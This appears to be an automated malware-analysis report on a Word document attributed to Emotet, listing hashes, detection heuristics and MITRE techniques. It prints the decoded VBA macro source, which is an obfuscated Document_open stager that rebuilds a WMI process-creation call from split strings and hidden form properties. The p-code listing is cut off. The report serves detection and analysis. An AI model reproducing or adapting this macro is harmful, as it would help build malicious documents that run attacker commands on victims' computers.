Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bde282cb96f5986e…

MALICIOUS

Office (OLE)

171.1 KB Created: 2020-07-21 06:49:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: e91058bd10b5de65df7a4e54dcc6c9fa SHA-1: 81a0093a420e5fafcec9773c58dda235b150c7d3 SHA-256: bde282cb96f5986ecffac2e217f661fa0f00c92f1e4b2a788aad9cbd53a2eb51
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name further supports this attribution. The script likely uses CreateObject to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9420 bytes
SHA-256: 5887c1d13e66687f1098d471bf197cd2d32b38192b6c62da46b3153396ccbf12
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "duabzap"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
giobfaezthuaz
End Sub


Attribute VB_Name = "cuugdijqueak"
Attribute VB_Base = "0{436D0A16-BCCE-478A-B46F-A752A41C0CD0}{553B78CC-2ADE-4462-841C-F385AF3E8516}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "geanropjoethraut"
Function giobfaezthuaz()
soij = Chr(cuugdijqueak.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
quauvfaecqueothpoiw = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + soij + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + cuugdijqueak.jeigquaom + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
binhietcheik = peibdictheafyaiv(quauvfaecqueothpoiw)
Dim qVcuRkJreP As Object
Set mauwfoidquepchoath = CreateObject(binhietcheik)
Dim lWiD As Byte
ceiyjirqueoysonyiejthead = cuugdijqueak.wooch.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
loexpeovxaetfiehnustiequ = binhietcheik + soij + cuugdijqueak.paxquouchteegjeovkauhbeon.ControlTipText + ceiyjirqueoysonyiejthead
Dim kfTvg As Boolean
guah = loexpeovxaetfiehnustiequ + cuugdijqueak.jeigquaom
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set boihkeih = deubkeivxoitzeixfacyaij(guah)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, mauwfoidquepchoath. _
Create(yoif, dauhteicsearceusyixpal, boihkeih))
Dim BZIhfU As Boolean
End Function
Function deubkeivxoitzeixfacyaij(zixhifkiadcheobricvaif)
Set deubkeivxoitzeixfacyaij = CreateObject(zixhifkiadcheobricvaif)
deubkeivxoitzeixfacyaij _
. _
showwindow = (nunfotkiewpaez + quaumpothhaedxuuw) + (siembiequchoifxiegduuf + thuajgasmioh)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function peibdictheafyaiv(zaj)
noogthaobpeilleurzeul = zaj
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
suuxgouxsem = Split(noogthaobpeilleurzeul, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
kaothgocvoudzuawdauytaj = posx + Join(suuxgouxsem, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
peibdictheafyaiv = kaothgocvoudzuawdauytaj
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function yoif()
io = cuugdijqueak.hauntoubwafgag.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
yoif = peibdictheafyaiv(io)
End Function


' Processing file: /opt/analyzer/scan_staging/8b80a12e36834b4d9e53d062ce2fdf46.bin
' ===============================================================================
' Module streams:
' Macros/VBA/duabzap - 1356 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub duabzap())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/cuugdijqueak - 1191 bytes
' Macros/VBA/geanropjoethraut - 5343 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld cuugdijqueak 
' 	MemLd Chr 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0006 
' 	Add 
' 	LitDI2 0x0003 
' 	Add
... (truncated)

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